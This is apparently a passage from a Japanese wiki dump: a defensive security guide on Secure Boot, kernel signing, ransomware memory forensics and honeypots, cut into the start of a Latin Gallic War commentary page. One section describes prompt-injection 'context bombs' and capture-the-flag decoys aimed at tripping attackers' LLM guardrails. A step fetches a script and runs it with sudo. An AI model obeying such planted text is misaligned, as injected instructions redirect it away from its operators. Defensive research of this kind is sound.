{| class=&quot;wikitable&quot;
|+ メディアの自動実行ファイル
|-
! Windows !! Linux&lt;br&gt;（Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]）
|-
| *:\[[:w:autorun.inf|autorun.inf]] || /media/*/*/.autorun&lt;br&gt;/media/*/*/autorun&lt;br&gt;/media/*/*/autorun.sh&lt;br&gt;/run/media/*/*/.autorun&lt;br&gt;/run/media/*/*/autorun&lt;br&gt;/run/media/*/*/autorun.sh
|}

== 改変を防ぐ ==
改変を探すのは大変です。なので最初から改変をできないようにすれば管理はとても楽になります。

改ざんを防ぐには「[[:w:en:Chain of trust|信頼の連鎖]]」 (chain of trust) が重要となります。例えばカーネルだけで改ざんを防いでも、ハードウェアのファームウェアが不正であれば不正なカーネルを起動できてしまいます。

=== ファームウェア改ざんを防ぐ ===
ファームウェア改ざんによる「ファームウェアルートキット」を防ぐにはIntel Management Engine (Intel ME)で実装されているIntel BIOS Guardを使う必要があります。&lt;!--TODO: マザーボードによってはBIOSで有効にする必要があります。→最近のマザーボード事情--&gt;

なお2017年の第8世代Intel Coreプロセッサ (Coffee Lake) 以前はme_cleanerによってIntel Management Engineの無効化が可能&lt;ref&gt;[https://github.com/corna/me_cleaner/wiki/me_cleaner-status me_cleaner status] Nicola Corna 2018年&lt;/ref&gt;なため非推奨です。

また2023年のIntel ME 16.1.30.2307未満では悪意あるロゴ画像を設定することによってroot権限からUEFI設定の変更が可能です（[[:w:en:LogoFAIL|LogoFAIL]]の脆弱性）。そのため、古いIntel Management Engineが動作している場合はそのファームウェアをアップデートしましょう。Windowsでは MEUpdateTool.exe / FWUpdLcl.exe を使うことでこのアップデートが可能となっています。一方、Linuxでは一部機種が fwupdmgr 経由での Intel ME ファームウェアアップデートに対応しています。 

Intel MEのバージョンはLinuxでは以下のような感じに調べることができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ cat /sys/class/mei/mei0/fw_ver
0:16.1.32.2473
0:16.1.32.2473
0:16.1.27.2181
&lt;/syntaxhighlight&gt;

=== ブートローダー改ざんを防ぐ ===
ブートローダーは起動に使われるファームウェア (BIOS) から呼ばれ、カーネルを読み込んで起動するために使われるプログラムです。古い BIOS (レガシーBIOS) には起動するブートローダーを検証する仕組みが存在しませんでしたが、新しい UEFI (統一拡張ファームウェアインターフェース) には署名されたブートローダーのみを起動する UEFI Secure Boot が追加され、安全なブートローダーの起動を許可するための「承認済み署名データベース」 (Authorized Signature Database、UEFI db) と、脆弱なブートローダーの起動を防ぐための「禁止署名データベース」 (Forbidden Signature Database、UEFI dbx) が用意されています。

UEFI Secure Boot が有効かどうかは以下で確認できます:
* Windows PowerShell: &lt;code&gt;Confirm-SecureBootUEFI&lt;/code&gt;
* Linux: &lt;code&gt;mokutil --sb-state&lt;/code&gt;

UEFI db と UEFI dbx の内容は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-SecureBootUEFI -Name db -Decoded&lt;/code&gt; / &lt;code&gt;Get-SecureBootUEFI -Name dbx -Decoded&lt;/code&gt;
* Linux:
** mokutil{{efn|Ubuntu Desktop に標準で含まれている。}}: &lt;code&gt;mokutil --db&lt;/code&gt; / &lt;code&gt;mokutil --dbx&lt;/code&gt;
** efitools: &lt;code&gt;efi-readvar -v db&lt;/code&gt; / &lt;code&gt;efi-readvar -v dbx&lt;/code&gt;

ブートローダーの署名情報は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-PfxCertificate&lt;/code&gt;{{efn|&lt;code&gt;Get-AuthenticodeSignature&lt;/code&gt;はカタログ署名が使われる場合があるため非推奨: https://github.com/PowerShell/PowerShell/issues/23820 。}}
* Linux: &lt;code&gt;sbverify --list&lt;/code&gt;

例えば Windows PowerShell では以下のような感じです:
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
PS C:\WINDOWS\system32&gt; mountvol S: /S; if ($?) { Get-PfxCertificate 'S:\EFI\Microsoft\Boot\bootmgfw.efi'; mountvol S: /D }

Thumbprint                                Subject
----------                                -------
FACDE3D80E99AFCC15E08AC5A69BD22785287F79  CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
&lt;/syntaxhighlight&gt;

また Ubuntu や Debian では署名されたブートローダー (grub-efi-*-signedパッケージ) と非署名のブートローダー (grub-efi-*-unsignedパッケージ) の両方が用意されており、ブートローダーの正体がどれか、また署名されたブートローダーの署名内容を確認するのは以下のような感じとなります:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ dpkg -L grub-efi-amd64-signed | grep -i '\.efi' | xargs md5sum # インストールされている署名されたブートローダーのハッシュを表示（grub*は通常版、gcd*は光学ブートメディア向け、grubnet*はネットブート向け）
2bd267fb12bd3b0fe26a9dfb4290868d  /usr/lib/grub/x86_64-efi-signed/gcdx64.efi.signed
f689e93336a015fa6eb93e1913b13482  /usr/lib/grub/x86_64-efi-signed/grubnetx64.efi.signed
b63c7618fb96d52520b42b8cc7b124f0  /usr/lib/grub/x86_64-efi-signed/grubx64.efi.signed
$ sudo sh -c &quot;md5sum /boot/efi/EFI/BOOT/*&quot; # 現在のbootloaderがどれを使っているかを確認（署名されたgrubを使用）
b63c7618fb96d52520b42b8cc7b124f0  /boot/efi/EFI/BOOT/BOOTX64.EFI
$ sudo sbverify --list /boot/efi/EFI/BOOT/BOOTX64.EFI
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/efi/EFI/BOOT/BOOTX64.EFI
Signature verification OK
&lt;/syntaxhighlight&gt;

なお Linux では grub の代わりに使えるブートローダーとして systemd-boot もあります。systemd-boot の署名版は Debian が systemd-boot-efi-*-signed パッケージとして用意しているようです（Ubuntu未搭載）。
&lt;!--TODO: 
TPM (Trusted Platform Module) チップ
--&gt;

=== カーネル本体の改ざんを防ぐ ===
カーネルはオペレーティングシステム (OS) の下層で動き続けるプログラムです。カーネル本体の実行ファイルもブートローダーと同様に署名が行われており、UEFI Secure Boot が有効であればその検証をブートローダーが行います。Linux では GRUB の UEFI Secure Boot と shim_lock の連携がそれに相当します&lt;ref&gt;[https://www.gnu.org/software/grub/manual/grub/grub.html#UEFI-secure-boot-and-shim GNU GRUB Manual 2.14 - 19.4 UEFI secure boot and shim support] フリーソフトウェア財団&lt;/ref&gt;。

なお Ubuntu には署名されたカーネル (linux-image-*パッケージ) と非署名のカーネル (linux-image-unsigned-*パッケージ) の両方が用意されており、署名されているカーネルは以下のような感じでその署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo sbverify --list /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を確認する
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を検証する
Signature verification OK
&lt;/syntaxhighlight&gt;

=== カーネルモジュールの改ざんを防ぐ ===
カーネルモジュールも署名されており、その検証をカーネルが行っています。Windowsカーネルでは ci.dll (Code Integrityモジュール)が、Linuxカーネルでは CONFIG_MODULE_SIG コンパイルオプションがその検証を行っています。

カーネルによるカーネルモジュールの検証が有効かどうかは以下で確認することができます:
* Linux: &lt;code&gt;grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r)&lt;/code&gt;

カーネルによるカーネルモジュールの検証で読み込みを弾くかどうかは以下で確認することができます:
* Windows: 強制モードか評価モード (監査モード) かを確認する PowerShell スクリプトが Microsoft のサイトに存在します: https://support.microsoft.com/en-us/windows/hardware/drivers/the-windows-driver-policy#is-my-device-in-evaluation-mode-or-enforcement-mode
* Linux: &lt;code&gt;cat /sys/module/module/parameters/sig_enforce&lt;/code&gt;

また Linux では検証で読み込みを弾かない場合でも検証外カーネルモジュールを読み込んだ場合はdmesgに警告が出て '''Tainted kernel''' 扱いとなります&lt;ref&gt;[https://docs.kernel.org/admin-guide/tainted-kernels.html Tainted kernels] Linux Foundation&lt;/ref&gt;。以下はその例です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_MODULE_SIG=y
$ cat /sys/module/module/parameters/sig_enforce # Y=Yes, N=No
N
$ sudo dmesg | grep 'module verification'
[    8.928361] nvidia: module verification failed: signature and/or required key missing - tainting kernel
$ wget http://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/tools/debugging/kernel-chktaint
[...]
$ sudo sh ./kernel-chktaint
Kernel is &quot;tainted&quot; for the following reasons:
 * externally-built ('out-of-tree') module was loaded  (#12)
 * unsigned module was loaded (#13)
Raw taint value as int/string: 12288/'G           OE      '

Tainted modules:
 * nvidia (OE)
 * nvidia_drm (OE)
 * nvidia_modeset (OE)
 * nvidia_uvm (OE)

For a more detailed explanation of the various taint flags see
 Documentation/admin-guide/tainted-kernels.rst in the Linux kernel sources
 or https://kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
&lt;/syntaxhighlight&gt;

また Linux では以下のような感じで個々のモジュールの署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ modinfo /lib/modules/$(uname -r)/kernel/arch/x86/kernel/msr.ko.zst
filename:       /lib/modules/7.0.0-38-generic/kernel/arch/x86/kernel/msr.ko.zst
license:        GPL
description:    x86 generic MSR driver
author:         H. Peter Anvin &lt;hpa@zytor.com&gt;
srcversion:     639B995855A3528050FD532
depends:
intree:         Y
name:           msr
retpoline:      Y
vermagic:       7.0.0-38-generic SMP preempt mod_unload modversions
sig_id:         PKCS#7
signer:         Build time autogenerated kernel key
sig_key:        3B:E7:D3:BF:D3:2E:D9:CA:9C:17:D2:E9:5F:1A:1C:AE:67:D5:82:2F
sig_hashalgo:   sha512
signature:      96:BC:2A:18:6E:4D:D8:E5:28:69:9D:E6:65:89:95:D4:BE:4C:5B:7C:
                4A:23:11:75:F6:FE:63:79:FC:29:9B:F7:EA:24:B6:F1:EF:F3:80:17:
                0B:C0:1E:46:61:29:BB:F9:E0:AC:81:69:85:73:7D:D4:77:82:A8:DB:
[...]
&lt;/syntaxhighlight&gt;

なおセキュアブートの環境において DKMS (Dynamic Kernel Module Support) などによるソースコードからの外部カーネルモジュールの導入には自己署名のためのマシン所有者キー (Machine-Owner Key; MOK) が使われていますが、標準ではその秘密鍵がrootからアクセスできる領域に置かれるため、root権限があればどんな悪意のあるカーネルモジュールにも署名を付けることが可能となってしまいます&lt;ref name=&quot;ubuntu-secure-boot&quot;/&gt;。そのため MOK はなるべく使わないようにしましょう。

Ubuntu ではいくつか外部カーネルモジュールに DKMS 版ではなく署名ビルド版を使用することができます。
{| class=&quot;wikitable&quot;
|+ Ubuntuにおける DKMS 版と署名ビルド版
|-
! 外部カーネルモジュール !! DKMS版のパッケージ名 !! 署名ビルド版のパッケージ名
|-
! NVIDIA Driver
| nvidia-dkms-* || linux-modules-nvidia-*-open-$(uname -r) 及び linux-signatures-nvidia-$(uname -r)
|-
! iwlwifi（Intel無線LANドライバ）
| backport-iwlwifi-dkms || linux-main-modules-iwlwifi-$(uname -r)
|-
! v4l2loopback
| v4l2loopback-dkms || linux-main-modules-v4l2loopback-$(uname -r)
|-
! Intel Vision Driver
| intel-vision-dkms || linux-main-modules-vision-$(uname -r)
|-
! Intel Integrated Image Processing Unit 6 driver
| intel-ipu6-dkms || linux-main-modules-ipu6-$(uname -r)
|-
! Intel Integrated Image Processing Unit 7 driver
| intel-ipu7-dkms || linux-main-modules-ipu7-$(uname -r)
|-
! USBIO drivers
| intel-usbio-dkms || linux-main-modules-usbio-$(uname -r)
|-
! ZFS (Zettabyte File System)
| zfs-dkms || linux-main-modules-zfs-$(uname -r)
|-
! NVIDIA DOCA-OFED
| doca-ofed-*-dkms || linux-main-modules-doca-ofed-$(uname -r)
|-
! Extensible Virtual Display Interface
| evdi-dkms || linux-main-modules-evdi-$(uname -r)
|}

しかしながら一部の外部カーネルモジュールは DKMS 経由でのみ提供されています。

=== システムファイル改ざんを防ぐ ===
システムファイル改ざんを防ぐ良い方法はシステム領域を読み取り専用にすることですが、仮にファイルシステムを読み取り専用のファイルシステム（SquashFSやEROFS）にしたとしても記録する場所がSSDであればブロック単位での上書きが可能となります。

1回だけ書き込めて上書きが不可能な媒体としてはCD-R、DVD-R、DVD+R、BD-Rなどの一部の光学メディアが存在しますが、これらをブートメディアとして使用するのは頻繁なアップデートが難しくなります。

そのほかの手法としては別のコンピュータからシステムファイルを取得する「ネットワークブート」を行うという手法もありますが、これはネットワーク経由でシステムファイルが盗まれる可能性と隣り合わせです。しかしながらプロトコルにUEFI HTTPSを、認証に相互認証のmTLSを用いて、その秘密鍵をTPMで管理してOSから読めなくすることでネットワークブートの安全性は何とか確保できるかもしれません（対応マザーボードは不明）。

一方、Android や ChromeOS ではブロックデバイス単位での改ざん検知 (dm-verify) によってシステムイメージの改ざんを防止しています&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;&lt;ref&gt;[https://research.google/pubs/verified-boot-on-chrome-os-and-how-to-do-it-yourself/ Verified Boot on Chrome OS and How to do it yourself] Google&lt;/ref&gt;。

=== カーネルメモリ改ざんを防ぐ ===
カーネルメモリのコード部分は MMU の書き込み禁止によって保護されています。iOS / macOS では Kernel Integrity Protection が&lt;ref&gt;[https://support.apple.com/ja-jp/guide/security/sec8b776536b/web オペレーティングシステムの整合性] Apple&lt;/ref&gt; 、Linux では Kernel Strict RWX がこれに相当します&lt;ref&gt;[https://docs.kernel.org/security/self-protection.html Kernel Self-Protection] Linux Foundation&lt;/ref&gt;。Windows でもカーネルモードに読み込み専用メモリセグメントが存在し、これに書き込もうとするとブルースクリーンで ATTEMPTED_WRITE_TO_READONLY_MEMORY (0xBE) が発行されます&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/debugger/bug-check-0xbe--attempted-write-to-readonly-memory バグ チェック 0xBE: ATTEMPTED_WRITE_TO_READONLY_MEMORY] Microsoft&lt;/ref&gt;。しかしながら Linux Kernel では kprobes、Static Keys、Static calls などで自己書き換えが多用されているため、一時的にコード部分を書き込み可能なページに割り当てて書き換える text_poke(...) という抜け道が存在します。

また定期的に改ざんが行われていないかをチェックする仕組みも存在します。Windows では[[:w:Kernel Patch Protection|Kernel Patch Protection]] (PatchGuard) / HyperGuard が、Linux では Linux Kernel Runtime Guard（外部パッチ）がこれに該当します。Windows の PatchGuard では改ざんが検出されたらブルースクリーンで CRITICAL_STRUCTURE_CORRUPTION が発行されます。

&lt;!--TODO: Windows の HVCI、macOS の Secure Page Table Monitor / Trusted Execution Monitor--&gt;

&lt;!--
=== アプリケーション改ざんを防ぐ ===
SELinux / AppArmor
--&gt;

== 攻撃用AIを対策する ==
攻撃用AIでは基本的に賢いかつ制限の緩い大規模言語モデル (LLM) が使われています。この代表的な例として GLM 5.3 や Qwen3.8-27B-ABLITERATED が存在します。

=== コンテキスト爆弾を設置する ===
攻撃用AIの対策では相手のLLMを止めることが重要となります。そこで使えるのが'''コンテキスト爆弾''' (context bombs) という手法です&lt;ref&gt;[https://arstechnica.com/security/2026/07/now-defenders-are-embracing-the-prompt-injection-too/ Now, defenders are embracing the prompt injection, too] Ars Technica 2026年7月14日&lt;/ref&gt;。

このコンテキスト爆弾は「相手のLLMに対し応答やツール呼び出しで禁止されていることを行わせようとする」というプロンプトインジェクションの一種であり、それによって相手のガードレールがLLMを止めることで相手からの攻撃を防ぎます。この手法は相手の読みそうなテキストにただプロンプトを書いておけば良いだけなので、お手軽に使えます。

コンテキスト爆弾のテキスト例は以下のリポジトリに存在します:
* https://github.com/tracebit-com/context-bombs

===  キャプチャー・ザ・フラッグに偽装する ===
実際の攻撃をコンピュータセキュリティの競技の一つ「[[:w:キャプチャー・ザ・フラッグ|キャプチャー・ザ・フラッグ]]」(CTF) に偽装して止めるという手法が存在します。

キャプチャー・ザ・フラッグで良く使われるファイルには以下が存在します:
* /.env&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;&gt;[https://www.appsecmaster.net/blog/ctf-writeup/ CTF Writeup Guide - Template and Real Web Exploit Examples] AppSecMaster&lt;/ref&gt;
* /flag&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /app/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /home/ctf/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /var/www/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /root/flag.txt
* /tmp/flag.txt
* /opt/flag.txt

=== ハニーポット ===
ハニーポットは攻撃者を引きつける役目を担います。ハニーポットの評価フレームワークには「UHBS」(Universal Honeypot Benchmarking Standard) が、その品質基準には「UHQS」(Universal Honeypot Quality Score) が存在しますが、2026年現在多くのハニーポットがFランク〜Dランクと残念な状況になっています&lt;ref&gt;[https://uhbs.github.io/uhbs-standard/mkdocs/conformance/ Overview - UHBS — Honeypot Evaluation Framework]&lt;/ref&gt;。

&lt;!--
== 自作コードの脆弱性を塞ぐ ==
書きかけ

--&gt;

== 被害を受けても復旧しやすくする ==
=== バックアップを取る ===
バックアップでは複数世代でオフラインバックアップを取ってください。バックアップの媒体には例えば以下が存在します:
* 外付けHDD
* RDXデータカートリッジ
* LTOテープ

=== 書き込み時コピーのファイルシステムを使う ===
コピー・オン・ライト（書き込み時コピー、CoW) のファイルシステム（btrfs、ZFS）では書き込みが既存のデータと別の場所に保存されるため、ファイルが破壊された場合でも復元できる確率が上がります。

しかしながらそれらのファイルシステムの構造を把握して破壊する高度なマルウェアには無効です。

=== クリーンな環境を用意しておく ===
復旧用として侵害されにくいクリーンな環境を用意しておきましょう。

== 被害からの復旧 ==
=== ランサムウェア被害からの復旧 ===
ランサムウェア（身代金要求型マルウェア）はファイルの暗号化を行います。

復旧のためには決して'''電源を落とさないでください'''。まずはLANケーブルを抜いた後、&lt;code&gt;iotop&lt;/code&gt;コマンドからI/Oの多いプロセスを特定したりなどして&lt;code&gt;kill -STOP&lt;/code&gt;で怪しいプロセスを全て停止させてください。これによって暗号化に使われた鍵がメモリ内に残ります。

次にそのメモリをダンプして外部に保存してください。
* /dev/mem ファイルからのメモリダンプ（モダンなLinuxでは非対応{{efn|/dev/mem からの Linux カーネル全域+ユーザーランドのメモリダンプには Linux カーネルが CONFIG_DEVMEM&amp;#61;y かつ CONFIG_STRICT_DEVMEM&amp;#61;n でコンパイルされている必要があります。}}）
** 直接ダンプする (&lt;code&gt;dd if=/dev/mem ...&lt;/code&gt;)
** AVML (Acquire Volatile Memory for Linux)[https://github.com/microsoft/avml]を使う
* カーネルモジュールによるメモリダンプ
** lime.ko (LiME, Linux Memory Extractor) [https://github.com/jtsylve/LiME]を使う（Debian/Ubuntu では lime-forensics-dkms パッケージとして用意されているが、セキュアブートの場合は前述の MOK による自己署名が必要なので非推奨{{efn|DKMS経由のカーネルモジュール導入は、UEFI セキュアブートなどで Linux カーネルのロックダウンが有効の場合 (&lt;code&gt;cat /sys/kernel/security/lockdown&lt;/code&gt; が integrity または confidentiality の場合)、Machine-Owner Key (MOK) の有効化が必要となります。MOK の鍵が無効になっている場合は再起動後に MokManager から MOK の鍵を有効にする必要があるため、MOK の鍵が無効かつ再起動が不可能な場合は lime-forensics-dkms を使うことはできません。また MOK を有効にした場合はカーネルロックダウンが無意味になる（root権限があれば悪意のあるカーネルモジュールに署名して読み込ませられるようになるため、root権限とカーネルモードのセキュリティ境界が無くなる&lt;ref name=&quot;ubuntu-secure-boot&quot;&gt;[https://documentation.ubuntu.com/security/security-features/platform-protections/secure-boot/ UEFI Secure Boot - Ubuntu security documentation] Canonical&lt;/ref&gt;）という大きな欠点も存在します。}}）
* eBPF プログラムによるメモリダンプ（モダンなシステムで推奨&lt;ref&gt;Andrea Oliveri et al. [https://www.s3.eurecom.fr/docs/dfrwseu26_oliveri.pdf LEMON: A universal eBPF-based volatile memory acquisition tool for modern android devices and hardened linux systems] Eurecom 2026年3月&lt;/ref&gt;）{{efn|ただしeBPFが有効のカーネルに限る。}}
** LEMON[https://github.com/eurecom-s3/lemon]
&lt;!--TODO: 未検証
** emd[https://github.com/ph0llux/emd] - 未検証
--&gt;

最後にクリーンな環境を使ってダンプしたメモリから暗号化に使われた鍵を見つけましょう。これには例えば以下のようなプログラムが存在します。
* C3RB3R向け: https://github.com/soimy/c3rb3r-rescue

なおこの方法はファイル暗号化の部分に共通鍵を使うランサムウェアにのみ効果があります。非対称鍵を直接ファイル暗号化に使うランサムウェアには無効なので期待しすぎないようにしましょう。

== 脚注 ==
&lt;references group=&quot;注釈&quot;/&gt;

== 参考文献 ==
&lt;references/&gt;

{{DEFAULTSORT:こんひゆうたせきゆりてい}}
[[Category:計算機科学]]
[[Category:情報技術]]</text>
      <sha1>14vkuxursjaoua06qpmtdfkn3wimtkj</sha1>
    </revision>
  </page>
  <page>
    <title>ガリア戦記 第7巻/注解/35節</title>
    <ns>0</ns>
    <id>48963</id>
    <revision>
      <id>305253</id>
      <parentid>305138</parentid>
      <timestamp>2026-11-01T07:12:15Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 外部リンク */ 訂正</comment>
      <origin>305253</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="20522" sha1="3qez3nfufuvwk3uyh26ghkjs99eee2k" xml:space="preserve">&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:15pt;color:#990033;text-align:center;&quot;&gt;C &amp;middot; IVLII &amp;middot; CAESARIS &amp;middot; COMMENTARIORVM &amp;middot; BELLI &amp;middot; GALLICI&lt;/div&gt;
&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:30pt;color:#990033;text-align:center;&quot;&gt;LIBER &amp;middot; SEPTIMVS&lt;/div&gt;
&lt;br&gt;
{| id=&quot;toc&quot; style=&quot;align:center;clear:all;&quot; align=&quot;center&quot; cellpadding=&quot;5&quot;
|-
! style=&quot;background:#bbf; text-align:center;&quot; |&amp;nbsp; [[ガリア戦記/注解編|ガリア戦記 注解編]] &amp;nbsp;
| style=&quot;background:#ccf; text-align:center;&quot; |&amp;nbsp; [[ガリア戦記 第7巻/注解|第7巻]] &amp;nbsp;
| style=&quot;background:#eef; text-align:center;&quot;|
&amp;nbsp;[[ガリア戦記 第7巻/注解/34節|34節]] |
[[ガリア戦記 第7巻/注解/35節|35節]] |
[[ガリア戦記 第7巻/注解/36節|36節]] &amp;nbsp;
|}
__notoc__
== 原文テキスト ==
&lt;div style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;color:#333;text-align:left;&quot;&gt;&lt;ref&gt;原文テキストについては[[ガリア戦記/注解編#原文テキスト]]を参照。&lt;/ref&gt; 35. &amp;nbsp;&amp;nbsp; &lt;!--❶--&gt;&lt;sup&gt;1&lt;/sup&gt;Cum uterque &lt;!--(α) --&gt;utrimque exisset exercitus&lt;!--(β) utrique esset exercitui--&gt;, in conspectu&lt;!--,--&gt; fereque e regione castris castra &lt;!--(α) --&gt;ponebant&lt;!--(β) poneret--&gt; dispositis exploratoribus&lt;!--,--&gt; necubi effecto ponte Romani copias traducerent&lt;!--,--&gt;.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❷--&gt;&lt;sup&gt;2&lt;/sup&gt;Erat in magnis Caesari difficultatibus res, ne maiorem aestatis partem flumine impediretur, quod non fere ante autumnum Elaver vado transiri solet.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❸--&gt;&lt;sup&gt;3&lt;/sup&gt;Itaque, ne id accideret, silvestri loco castris positis e regione unius eorum pontium&lt;!--,--&gt; quos Vercingetorix rescindendos curaverat, postero die cum duabus legionibus in occulto restitit;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❹--&gt;&lt;sup&gt;4&lt;/sup&gt;reliquas copias cum omnibus impedimentis, ut consueverat, misit, &lt;!--(αβ) --&gt;apertis&lt;!--(ω) captis--&gt;&lt;!--(Rc) carptis--&gt;&lt;!--(Fu) sic collocatis--&gt; quibusdam cohortibus, uti numerus legionum constare videretur.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❺--&gt;&lt;sup&gt;5&lt;/sup&gt;His quam longissime possent &lt;!--(α) --&gt;egredi&lt;!--(β) progredi--&gt; iussis, cum iam ex diei tempore coniecturam &lt;!--(α) --&gt;ceperat&lt;!--(β) caperet--&gt; in castra perventum, isdem sublicis, quarum pars inferior integra remanebat, pontem reficere coepit.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❻--&gt;&lt;sup&gt;6&lt;/sup&gt;Celeriter effecto opere legionibusque traductis et loco castris idoneo delecto&lt;!--,--&gt; reliquas copias revocavit.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❼--&gt;&lt;sup&gt;7&lt;/sup&gt;Vercingetorix re cognita, ne contra suam voluntatem dimicare cogeretur, magnis itineribus antecessit.  &lt;/div&gt;
&lt;span style=&quot;background-color:#ffc;&quot;&gt;&lt;/span&gt;
----
;テキスト引用についての注記
*2項　　&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Erat in magnis ～ solet.&amp;nbsp; : &lt;/span&gt;
**&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&amp;nbsp; Itaque, ne id accideret, ～  in occulto restitit; &lt;/span&gt; を2項として、以下、番号が一つずつずれている校訂版もある。

&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;&lt;/span&gt;

== 整形テキスト ==
&lt;div style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;color:#333;text-align:left;&quot;&gt;&lt;ref&gt;整形テキストについては[[ガリア戦記/注解編#凡例]]を参照。&lt;/ref&gt; XXXV. &amp;nbsp;&amp;nbsp; &lt;!--❶--&gt;&lt;sup&gt;①&lt;/sup&gt;Cum uterque &lt;!--(α) --&gt;&lt;u&gt;utrimque exīsset exercitus&lt;/u&gt;&lt;!--(β) utrīque esset exercituī--&gt;, in cōnspectū&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; ferēque ē regiōne castrīs castra &lt;!--(α) --&gt;&lt;u&gt;pōnebant&lt;/u&gt;&lt;!--(β) pōneret--&gt; dispositīs explōrātōribus&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; nēcubi effectō ponte Rōmānī cōpiās trādūcerent&lt;!--,--&gt;.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❷--&gt;&lt;sup&gt;②&lt;/sup&gt;Erat in magnīs Caesarī difficultātibus rēs, nē maiōrem aestātis partem flūmine impedīrētur, quod nōn ferē ante autumnum Elaver vadō trānsīrī solet.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❸--&gt;&lt;sup&gt;③&lt;/sup&gt;Itaque, nē id accideret, silvestrī locō castrīs positīs ē regiōne ūnīus eōrum pontium&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; quōs Vercingetorīx rescindendōs cūrāverat, posterō diē cum duābus legiōnibus in occultō restitit;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❹--&gt;&lt;sup&gt;④&lt;/sup&gt;reliquās cōpiās cum omnibus impedīmentīs, ut cōnsuēverat, mīsit, &lt;span style=&quot;color:#800;&quot;&gt;&lt;u&gt;captis&lt;/u&gt;&lt;/span&gt;&lt;!--(αβ) --&gt;&lt;!--apertīs--&gt;&lt;!--(ω) captīs--&gt;&lt;!--(Rc) carptīs--&gt;&lt;!--(Fu) sīc collocatīs--&gt; quibusdam cohortibus, utī numerus legiōnum cōnstāre vidērētur.   &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❺--&gt;&lt;sup&gt;⑤&lt;/sup&gt;Hīs&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; quam longissimē possent&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; &lt;!--(α) --&gt;&lt;u&gt;ēgredī&lt;/u&gt;&lt;!--(β) prōgredī--&gt; iussīs, cum iam ex diēī tempore coniectūram &lt;!--(α) --&gt;&lt;u&gt;cēperat&lt;/u&gt;&lt;!--(β) caperet--&gt; in castra perventum, īsdem sublicīs, quārum pars īnferior integra remanēbat, pontem reficere coepit.  